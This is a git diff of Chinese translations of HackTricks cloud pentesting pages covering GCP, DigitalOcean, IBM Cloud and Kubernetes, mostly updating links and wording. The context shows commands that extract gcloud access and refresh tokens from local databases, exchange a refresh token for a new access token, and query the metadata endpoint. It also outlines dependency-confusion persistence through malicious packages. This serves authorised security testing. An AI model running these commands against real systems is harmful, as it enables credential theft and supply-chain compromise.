- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
|
||||
|
||||
### Password Spraying / Brute-Force
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**在开始对** Digital Ocean **环境进行渗透测试之前,您需要了解一些** 基本知识 **,以帮助您理解需要做什么,如何查找错误配置以及如何利用它们。**
|
||||
**在开始对** Digital Ocean **环境进行渗透测试之前,您需要了解一些** 基本知识 **,以帮助您理解需要做什么、如何查找错误配置以及如何利用它们。**
|
||||
|
||||
诸如层次结构、访问和其他基本概念在以下内容中进行了说明:
|
||||
诸如层次结构、访问权限和其他基本概念在以下内容中进行了说明:
|
||||
|
||||
{{#ref}}
|
||||
do-basic-information.md
|
||||
@@ -17,7 +17,7 @@ do-basic-information.md
|
||||
### SSRF
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### 项目
|
||||
|
||||
@@ -21,19 +21,19 @@ gcp-basic-information/
|
||||
|
||||
## GCP 渗透测试/红队方法论
|
||||
|
||||
为了审计 GCP 环境,了解以下内容非常重要:使用了哪些 **服务**,暴露了什么,谁对什么有 **访问权限**,以及内部 GCP 服务与 **外部服务** 是如何连接的。
|
||||
为了审计 GCP 环境,了解以下内容非常重要:使用了哪些 **服务**,什么是 **被暴露的**,谁有 **访问** 权限,以及内部 GCP 服务与 **外部服务** 是如何连接的。
|
||||
|
||||
从红队的角度来看,**攻陷 GCP 环境的第一步**是设法获取一些 **凭据**。以下是一些获取凭据的想法:
|
||||
|
||||
- **泄露** 在 github(或类似平台)- OSINT
|
||||
- **社交** 工程(查看页面 [**Workspace Security**](../workspace-security/))
|
||||
- **社交** 工程(查看页面 [**Workspace Security**](../workspace-security/index.html))
|
||||
- **密码** 重用(密码泄露)
|
||||
- GCP 托管应用程序中的漏洞
|
||||
- [**服务器端请求伪造**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) 访问元数据端点
|
||||
- [**服务器端请求伪造**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) 访问元数据端点
|
||||
- **本地文件读取**
|
||||
- `/home/USERNAME/.config/gcloud/*`
|
||||
- `C:\Users\USERNAME\.config\gcloud\*`
|
||||
- 第三方 **泄露**
|
||||
- 第三方 **被攻破**
|
||||
- **内部** 员工
|
||||
|
||||
或者通过 **攻陷一个未认证的服务**:
|
||||
@@ -42,7 +42,7 @@ gcp-basic-information/
|
||||
gcp-unauthenticated-enum-and-access/
|
||||
{{#endref}}
|
||||
|
||||
或者如果您正在进行 **审查**,您可以直接 **请求凭据**,使用这些角色:
|
||||
或者如果您正在进行 **审查**,您可以直接 **请求凭据**,角色如下:
|
||||
|
||||
{{#ref}}
|
||||
gcp-permissions-for-a-pentest.md
|
||||
@@ -58,7 +58,7 @@ gcp-permissions-for-a-pentest.md
|
||||
有关如何 **枚举 GCP 元数据** 的更多信息,请查看以下 hacktricks 页面:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Whoami
|
||||
@@ -90,7 +90,7 @@ gcloud projects list # Get projects
|
||||
|
||||
如果您拥有足够的权限,**检查 GCP 账户中每个实体的权限**将帮助您了解您和其他身份可以做什么,以及如何**提升权限**。
|
||||
|
||||
如果您没有足够的权限来枚举 IAM,您可以**通过暴力破解来获取**它们。\
|
||||
如果您没有足够的权限来枚举 IAM,您可以**通过暴力破解来窃取它们**以找出它们。\
|
||||
请查看**如何进行枚举和暴力破解**:
|
||||
|
||||
{{#ref}}
|
||||
@@ -98,7 +98,7 @@ gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> 现在您**已经获得了一些关于您的凭据的信息**(如果您是红队,希望您**没有被检测到**)。是时候找出环境中正在使用哪些服务。\
|
||||
> 现在您**对您的凭据有了一些信息**(如果您是红队,希望您**没有被发现**)。是时候找出环境中正在使用哪些服务了。\
|
||||
> 在接下来的部分中,您可以查看一些**枚举常见服务**的方法。
|
||||
|
||||
## Services Enumeration
|
||||
@@ -109,7 +109,7 @@ GCP 拥有惊人的服务数量,在以下页面中,您将找到**基本信
|
||||
gcp-services/
|
||||
{{#endref}}
|
||||
|
||||
请注意,您**不**需要**手动**执行所有工作,下面的帖子中您可以找到关于[**自动工具**](./#automatic-tools)的**部分**。
|
||||
请注意,您**不**需要**手动**执行所有工作,下面的帖子中您可以找到**关于** [**自动工具**](#automatic-tools) 的部分。
|
||||
|
||||
此外,在此阶段,您可能会发现**更多暴露给未认证用户的服务,**您可能能够利用它们:
|
||||
|
||||
@@ -140,10 +140,10 @@ gcp-persistence/
|
||||
在枚举 GCP 服务时,您可能发现其中一些**向互联网暴露元素**(VM/容器端口、数据库或队列服务、快照或存储桶...)。\
|
||||
作为渗透测试者/红队成员,您应该始终检查是否可以在它们上找到**敏感信息/漏洞**,因为它们可能为您提供**进一步访问 AWS 账户**的机会。
|
||||
|
||||
在本书中,您应该找到关于如何查找**暴露的 GCP 服务以及如何检查它们**的信息。关于如何查找**暴露的网络服务中的漏洞**,我建议您**搜索**特定的**服务**:
|
||||
在本书中,您应该找到**关于如何查找**暴露的 GCP 服务以及如何检查它们的**信息**。关于如何查找**暴露的网络服务中的漏洞**,我建议您**搜索**特定的**服务**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
https://book.hacktricks.wiki/
|
||||
{{#endref}}
|
||||
|
||||
## GCP <--> Workspace Pivoting
|
||||
@@ -157,8 +157,8 @@ gcp-to-workspace-pivoting/
|
||||
## Automatic Tools
|
||||
|
||||
- 在**GCloud 控制台**中,您可以在 [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) 查看项目中使用的资源和 IAM。
|
||||
- 在这里,您可以查看此 API 支持的资产:[https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
|
||||
- 检查可以在[**多个云中使用的工具**](../pentesting-cloud-methodology.md)。
|
||||
- 在这里,您可以查看此 API 支持的资产: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
|
||||
- 查看可以在 [**多个云中使用的工具**](../pentesting-cloud-methodology.md)。
|
||||
- [**gcp_scanner**](https://github.com/google/gcp_scanner):这是一个 GCP 资源扫描器,可以帮助确定某些凭据在 GCP 上**拥有的访问级别**。
|
||||
```bash
|
||||
# Install
|
||||
@@ -171,7 +171,7 @@ pip install -r requirements.txt
|
||||
python3 __main__.py -o /tmp/output/ -g "$HOME/.config/gcloud"
|
||||
```
|
||||
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash 脚本,用于使用 gcloud cli 枚举 GCP 环境并将结果保存到文件中。
|
||||
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): 脚本用于枚举高 IAM 权限并在 GCP 中利用它们提升权限(我无法运行枚举脚本)。
|
||||
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): 脚本用于枚举高 IAM 权限并在 GCP 中利用这些权限提升权限(我无法运行枚举脚本)。
|
||||
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): 脚本用于暴力破解您的权限。
|
||||
|
||||
## gcloud config & debug
|
||||
@@ -191,7 +191,7 @@ gcloud components update
|
||||
```
|
||||
### 捕获 gcloud, gsutil... 网络
|
||||
|
||||
请记住,您可以使用 **参数** **`--log-http`** 与 **`gcloud`** cli 一起 **打印** 工具正在执行的 **请求**。如果您不希望日志中隐藏令牌值,请使用 `gcloud config set log_http_redact_token false`
|
||||
请记住,您可以使用 **参数** **`--log-http`** 与 **`gcloud`** cli 一起 **打印** 工具正在执行的 **请求**。如果您不希望日志隐藏令牌值,请使用 `gcloud config set log_http_redact_token false`
|
||||
|
||||
此外,要拦截通信:
|
||||
```bash
|
||||
@@ -212,7 +212,7 @@ gcloud config unset core/custom_ca_certs_file
|
||||
```
|
||||
### 在 gcloud 中配置 OAuth 令牌
|
||||
|
||||
为了 **使用从元数据端点提取的服务帐户 OAuth 令牌**,您只需执行:
|
||||
为了**使用从元数据端点提取的服务帐户 OAuth 令牌**,您只需执行:
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
|
||||
@@ -12,31 +12,31 @@
|
||||
|
||||
### 依赖混淆
|
||||
|
||||
- 如果一个 **远程和一个标准** 存储库 **在一个虚拟** 存储库中混合,并且两个存储库中都有一个包,会发生什么?
|
||||
- 使用 **在虚拟存储库中设置的最高优先级** 的那个
|
||||
- 如果 **远程和标准** 存储库 **在一个虚拟** 存储库中混合,并且两个存储库中都存在一个包,会发生什么?
|
||||
- 使用 **在虚拟存储库中设置的最高优先级**
|
||||
- 如果 **优先级相同**:
|
||||
- 如果 **版本** 是 **相同的**,则使用 **在虚拟存储库中按字母顺序排列的策略名称** 第一个
|
||||
- 如果 **版本** 是 **相同的**,则使用 **在虚拟存储库中按字母顺序排列的策略名称**
|
||||
- 如果不是,则使用 **最高版本**
|
||||
|
||||
> [!CAUTION]
|
||||
> 因此,如果远程存储库具有更高或相同的优先级,则可以在公共包注册表中 **滥用最高版本(依赖混淆)**
|
||||
|
||||
此技术对于 **持久性** 和 **未经身份验证的访问** 非常有用,因为要滥用它,只需 **知道存储在 Artifact Registry 中的库名称** 并 **在公共存储库(例如 Python 的 PyPi)中创建相同的库**,并使用更高的版本。
|
||||
此技术对于 **持久性** 和 **未经身份验证的访问** 非常有用,因为要滥用它,只需 **知道存储在 Artifact Registry 中的库名称** 并 **在公共存储库中创建相同的库(例如 Python 的 PyPi)**,并使用更高版本。
|
||||
|
||||
对于持久性,您需要遵循以下步骤:
|
||||
|
||||
- **要求**:必须 **存在** 一个 **虚拟存储库** 并被使用,必须使用一个 **名称** 在 **公共存储库** 中不存在的 **内部包**。
|
||||
- **要求**:必须 **存在** 并使用 **虚拟存储库**,必须使用 **在公共存储库中不存在的名称** 的 **内部包**。
|
||||
- 如果不存在,则创建一个远程存储库
|
||||
- 将远程存储库添加到虚拟存储库
|
||||
- 编辑虚拟注册表的策略,以给予远程存储库更高(或相同)的优先级。\
|
||||
运行类似以下命令:
|
||||
运行类似以下内容:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- 下载合法包,添加您的恶意代码,并以相同版本在公共存储库中注册它。每当开发人员安装它时,他将安装您的版本!
|
||||
- 下载合法包,添加您的恶意代码,并以相同版本在公共存储库中注册。每次开发人员安装它时,他将安装您的版本!
|
||||
|
||||
有关依赖混淆的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/dependency-confusion
|
||||
https://book.hacktricks.wiki/en/pentesting-web/dependency-confusion.html
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# GCP - 令牌持久性
|
||||
# GCP - Token Persistance
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### 认证用户令牌
|
||||
### Authenticated User Tokens
|
||||
|
||||
要获取用户的 **当前令牌**,您可以运行:
|
||||
```bash
|
||||
@@ -11,7 +11,7 @@ sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_t
|
||||
在此页面查看如何**直接使用此令牌通过 gcloud**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
要获取**生成新访问令牌**的详细信息,请运行:
|
||||
@@ -20,7 +20,7 @@ sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where
|
||||
```
|
||||
在 **`$HOME/.config/gcloud/application_default_credentials.json`** 和 **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** 中也可以找到刷新令牌。
|
||||
|
||||
要使用 **refresh token**、客户端 ID 和客户端密钥获取新的刷新访问令牌,请运行:
|
||||
要使用 **刷新令牌**、客户端 ID 和客户端密钥获取新的访问令牌,请运行:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
@@ -37,9 +37,9 @@ curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data
|
||||
然后,gcloud 将使用状态和代码与一些硬编码的 `client_id` (`32555940559.apps.googleusercontent.com`) 和 **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) 来获取 **最终的刷新令牌数据**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,与 localhost 的通信是通过 HTTP 进行的,因此可以拦截数据以获取刷新令牌,但此数据仅有效 1 次,因此这将是无用的,直接从文件中读取刷新令牌更容易。
|
||||
> 请注意,与 localhost 的通信是通过 HTTP 进行的,因此可以拦截数据以获取刷新令牌,但此数据仅有效 1 次,因此这将毫无用处,直接从文件中读取刷新令牌更容易。
|
||||
|
||||
### OAuth 范围
|
||||
### OAuth Scopes
|
||||
|
||||
您可以在 [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) 找到所有 Google 范围,或通过执行以下命令获取它们:
|
||||
```bash
|
||||
@@ -55,7 +55,7 @@ echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
执行后检查该应用程序支持以下范围:
|
||||
执行后检查该应用支持以下范围:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -67,16 +67,16 @@ https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
有趣的是,这个应用支持 **`drive`** 范围,这可能允许用户在攻击者设法迫使用户生成具有此范围的令牌时,从 GCP 升级到 Workspace。
|
||||
|
||||
**检查如何** [**在这里滥用它**](../gcp-to-workspace-pivoting/#abusing-gcloud)**。**
|
||||
**检查如何** [**在这里滥用它**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**。**
|
||||
|
||||
### 服务账户
|
||||
|
||||
就像经过身份验证的用户一样,如果您设法 **泄露服务账户的私钥文件**,您将能够 **通常无限期访问它**。\
|
||||
就像经过身份验证的用户一样,如果您设法 **破坏服务账户的私钥文件**,您将能够 **通常无限期访问它**。\
|
||||
然而,如果您窃取了服务账户的 **OAuth 令牌**,这可能会更有趣,因为即使默认情况下这些令牌仅在一个小时内有效,如果 **受害者删除了私有 API 密钥,OAuth 令牌在过期之前仍然有效**。
|
||||
|
||||
### 元数据
|
||||
|
||||
显然,只要您在 GCP 环境中运行的机器内部,您将能够 **通过联系元数据端点访问附加到该机器的服务账户**(请注意,您可以在此端点访问的 OAuth 令牌通常受范围限制)。
|
||||
显然,只要您在运行 GCP 环境的机器内部,您将能够 **通过联系元数据端点访问附加到该机器的服务账户**(请注意,您可以在此端点访问的 OAuth 令牌通常受范围限制)。
|
||||
|
||||
### 补救措施
|
||||
|
||||
|
||||
@@ -1,20 +1,20 @@
|
||||
# GCP - 本地权限提升 SSH 代理
|
||||
# GCP - 本地权限提升 SSH 透传
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
在这个场景中,我们假设你**已经攻陷了一个非特权账户**,该账户位于 Compute Engine 项目的虚拟机中。
|
||||
在这个场景中,我们假设你**已经在 Compute Engine 项目中的虚拟机内攻陷了一个非特权账户**。
|
||||
|
||||
令人惊讶的是,你攻陷的计算引擎的 GCP 权限可能帮助你**在机器内部提升本地权限**。即使在云环境中这并不总是非常有用,但知道这是可能的还是很好的。
|
||||
令人惊讶的是,你攻陷的计算引擎的 GPC 权限可能帮助你**在机器内部提升本地权限**。即使在云环境中这并不总是非常有用,但知道这是可能的还是很好的。
|
||||
|
||||
## 阅读脚本 <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
|
||||
**计算实例**可能用于**执行一些脚本**以使用其服务账户执行操作。
|
||||
|
||||
由于 IAM 权限非常细粒度,一个账户可能对某个资源具有**读/写**权限,但**没有列出权限**。
|
||||
由于 IAM 的细粒度控制,一个账户可能对某个资源具有**读/写**权限,但**没有列出权限**。
|
||||
|
||||
一个很好的假设例子是一个计算实例,它有权限读取/写入名为 `instance82736-long-term-xyz-archive-0332893` 的存储桶的备份。
|
||||
|
||||
从命令行运行 `gsutil ls` 不会返回任何内容,因为服务账户缺少 `storage.buckets.list` IAM 权限。然而,如果你运行 `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`,你可能会找到一个完整的文件系统备份,从而获得你本地 Linux 账户所缺乏的明文数据访问。
|
||||
从命令行运行 `gsutil ls` 返回空结果,因为服务账户缺少 `storage.buckets.list` IAM 权限。然而,如果你运行 `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`,你可能会找到一个完整的文件系统备份,从而获得你本地 Linux 账户所缺乏的明文数据访问。
|
||||
|
||||
你可能能够在脚本中找到这个存储桶的名称(在 bash、Python、Ruby 等中)。
|
||||
|
||||
@@ -27,7 +27,7 @@
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
## **滥用 IAM 权限**
|
||||
@@ -36,15 +36,15 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
检查以下权限:
|
||||
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/#compute.instances.osadminlogin)
|
||||
- [**compute.projects.setCommonInstanceMetadata**](gcp-compute-privesc/#compute.projects.setcommoninstancemetadata)
|
||||
- [**compute.instances.setMetadata**](gcp-compute-privesc/#compute.instances.setmetadata)
|
||||
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/#compute.instances.setiampolicy)
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
|
||||
- [**compute.projects.setCommonInstanceMetadata**](gcp-compute-privesc/index.html#compute.projects.setcommoninstancemetadata)
|
||||
- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata)
|
||||
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy)
|
||||
|
||||
## 在文件系统中搜索密钥
|
||||
|
||||
检查是否有其他用户在盒子内登录了 gcloud 并将其凭据留在文件系统中:
|
||||
检查其他用户是否在盒子内登录了 gcloud 并将其凭据留在文件系统中:
|
||||
```
|
||||
sudo find / -name "gcloud"
|
||||
```
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# GCP - 计算实例
|
||||
# GCP - Compute Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
Google Cloud 计算实例是 **可定制的虚拟机,运行在 Google 的云基础设施上**,为各种应用提供可扩展和按需的计算能力。它们提供全球部署、持久存储、灵活的操作系统选择以及强大的网络和安全集成等功能,使其成为高效托管网站、处理数据和运行应用程序的多功能选择。
|
||||
Google Cloud Compute Instances 是 **可定制的虚拟机,运行在 Google 的云基础设施上**,为各种应用提供可扩展和按需的计算能力。它们提供全球部署、持久存储、灵活的操作系统选择以及强大的网络和安全集成等功能,使其成为高效托管网站、处理数据和运行应用程序的多功能选择。
|
||||
|
||||
### 机密虚拟机
|
||||
### 保密虚拟机
|
||||
|
||||
机密虚拟机使用 **最新一代 AMD EPYC 处理器提供的基于硬件的安全特性**,包括内存加密和安全加密虚拟化。这些特性使虚拟机能够保护处理和存储的数据,甚至防止宿主操作系统和虚拟机监控程序的访问。
|
||||
保密虚拟机使用 **最新一代 AMD EPYC 处理器** 提供的 **基于硬件的安全特性**,包括内存加密和安全加密虚拟化。这些特性使虚拟机能够保护处理和存储的数据,甚至免受主机操作系统和虚拟机监控程序的影响。
|
||||
|
||||
要运行机密虚拟机,可能需要 **更改** 一些设置,如 **机器类型**、网络 **接口**、**启动磁盘映像**。
|
||||
要运行保密虚拟机,可能需要 **更改** 一些设置,如 **机器类型**、网络 **接口**、**启动磁盘映像**。
|
||||
|
||||
### 磁盘与磁盘加密
|
||||
|
||||
@@ -24,11 +24,11 @@ Google Cloud 计算实例是 **可定制的虚拟机,运行在 Google 的云
|
||||
### 部署容器
|
||||
|
||||
可以在虚拟机内部署 **容器**。\
|
||||
可以配置要使用的 **映像**,设置要在内部运行的 **命令**、**参数**、挂载 **卷** 和 **环境变量**(敏感信息?),并为该容器配置多个选项,如以 **特权** 模式执行、标准输入和伪 TTY。
|
||||
可以配置要使用的 **映像**,设置要在内部运行的 **命令**、**参数**、挂载 **卷** 和 **环境变量**(敏感信息?),并为该容器配置多个选项,如以 **特权** 身份执行、标准输入和伪 TTY。
|
||||
|
||||
### 服务账户
|
||||
|
||||
默认情况下,将使用 **计算引擎默认服务账户**。该服务账户的电子邮件格式为:`<proj-num>-compute@developer.gserviceaccount.com`\
|
||||
默认情况下,将使用 **Compute Engine 默认服务账户**。该服务账户的电子邮件格式为:`<proj-num>-compute@developer.gserviceaccount.com`\
|
||||
该服务账户在整个项目中具有 **编辑者角色(高权限)**。
|
||||
|
||||
默认访问范围如下:
|
||||
@@ -62,7 +62,7 @@ Google Cloud 计算实例是 **可定制的虚拟机,运行在 Google 的云
|
||||
|
||||
- **安全启动**:安全启动有助于保护您的虚拟机实例免受启动级和内核级恶意软件和根套件的攻击。
|
||||
- **启用 vTPM**:虚拟可信任平台模块(vTPM)验证您的客户虚拟机的预启动和启动完整性,并提供密钥生成和保护。
|
||||
- **完整性监控**:完整性监控允许您使用 Stackdriver 报告监控和验证受保护虚拟机实例的运行时启动完整性。需要启用 vTPM。
|
||||
- **完整性监控**:完整性监控让您可以使用 Stackdriver 报告监控和验证受保护虚拟机实例的运行时启动完整性。需要启用 vTPM。
|
||||
|
||||
### 虚拟机访问
|
||||
|
||||
@@ -76,7 +76,7 @@ Google Cloud 计算实例是 **可定制的虚拟机,运行在 Google 的云
|
||||
|
||||
可以定义 **自动化**(AWS 中的 userdata),这些是每次机器启动或重启时将执行的 **shell 命令**。
|
||||
|
||||
还可以 **添加额外的元数据键值对**,这些将可以从元数据端点访问。此信息通常用于环境变量和启动/关闭脚本。可以使用 **`describe` 方法** 从枚举部分的命令中获取,但也可以从实例内部访问元数据端点来检索。
|
||||
还可以 **添加额外的元数据键值对**,这些将可以从元数据端点访问。此信息通常用于环境变量和启动/关闭脚本。可以使用 **`describe` 方法** 从枚举部分的命令中获取,但也可以通过访问元数据端点从实例内部检索。
|
||||
```bash
|
||||
# view project metadata
|
||||
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
||||
@@ -89,7 +89,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?re
|
||||
此外,**附加服务帐户的身份验证令牌**和**有关实例、网络和项目的一般信息**也将可以从**元数据端点**获取。有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
### 加密
|
||||
|
||||
@@ -17,9 +17,9 @@
|
||||
查看此页面以获取**不同数据库技术的暴力破解工具**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/brute-force
|
||||
https://book.hacktricks.wiki/en/generic-hacking/brute-force.html
|
||||
{{#endref}}
|
||||
|
||||
请记住,拥有某些权限时,可以通过 GCP API **列出所有数据库用户**。
|
||||
请记住,拥有某些权限后,可以通过 GCP API **列出所有数据库用户**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -15,11 +15,11 @@
|
||||
如果一个网站**易受 SSRF 攻击**并且可以**添加元数据头**,攻击者可能会利用它从元数据端点访问 SA OAuth 令牌。有关 SSRF 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/index.html
|
||||
{{#endref}}
|
||||
|
||||
### 易受攻击的暴露服务
|
||||
|
||||
如果 GCP 实例具有易受攻击的暴露服务,攻击者可能会利用它来破坏该服务。
|
||||
如果 GCP 实例有一个易受攻击的暴露服务,攻击者可能会利用它来攻陷该服务。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,11 +4,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### 什么是IBM云? (By chatGPT)
|
||||
### 什么是IBM云?(由chatGPT提供)
|
||||
|
||||
IBM Cloud是IBM提供的云计算平台,提供多种云服务,如基础设施即服务(IaaS)、平台即服务(PaaS)和软件即服务(SaaS)。它使客户能够在云中部署和管理应用程序,处理数据存储和分析,并操作虚拟机。
|
||||
|
||||
与亚马逊网络服务(AWS)相比,IBM Cloud展示了一些独特的特点和方法:
|
||||
与亚马逊网络服务(AWS)相比,IBM Cloud展示了一些独特的特性和方法:
|
||||
|
||||
1. **重点**:IBM Cloud主要面向企业客户,提供一套为其特定需求设计的服务,包括增强的安全性和合规性措施。相比之下,AWS为多样化的客户群体提供广泛的云服务。
|
||||
2. **混合云解决方案**:IBM Cloud和AWS都提供混合云服务,允许将本地基础设施与其云服务集成。然而,每个提供的方法和服务有所不同。
|
||||
@@ -25,10 +25,10 @@ ibm-basic-information.md
|
||||
|
||||
### SSRF
|
||||
|
||||
了解如何访问IBM的元数据端点,请查看以下页面:
|
||||
了解如何访问IBM的medata端点,请参见以下页面:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#2af0
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#ibm-cloud
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
@@ -8,29 +8,29 @@
|
||||
|
||||

|
||||
|
||||
### 从 pod 逃逸
|
||||
### 从 Pod 逃逸
|
||||
|
||||
为了尝试从 pods 逃逸,你可能需要先 **提升权限**,一些实现的方法:
|
||||
为了尝试从 Pod 中逃逸,你可能需要先 **提升权限**,一些实现的方法如下:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/linux-hardening/privilege-escalation
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
你可以查看这些 **docker 逃逸尝试从你已攻陷的 pod 中逃逸**:
|
||||
你可以查看这些 **docker 逃逸尝试**,以从你已攻陷的 Pod 中逃逸:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
### 滥用 Kubernetes 权限
|
||||
|
||||
正如在 **kubernetes 枚举** 部分中所解释的:
|
||||
如在 **Kubernetes 枚举** 部分所述:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
通常,pods 是使用 **服务账户令牌** 运行的。这个服务账户可能附带一些 **权限**,你可以 **滥用** 这些权限 **移动** 到其他 pods,甚至 **逃逸** 到集群内配置的节点。查看如何操作:
|
||||
通常,Pods 是使用 **服务账户令牌** 运行的。这个服务账户可能附带一些 **权限**,你可以 **滥用** 这些权限 **移动** 到其他 Pods,甚至 **逃逸** 到集群内配置的节点。查看如何操作:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -38,11 +38,11 @@ abusing-roles-clusterroles-in-kubernetes/
|
||||
|
||||
### 滥用云权限
|
||||
|
||||
如果 pod 在 **云环境** 中运行,你可能能够从 **元数据端点泄露一个令牌** 并使用它提升权限。
|
||||
如果 Pod 在 **云环境** 中运行,你可能能够从 **元数据端点泄露一个令牌** 并使用它提升权限。
|
||||
|
||||
## 搜索易受攻击的网络服务
|
||||
|
||||
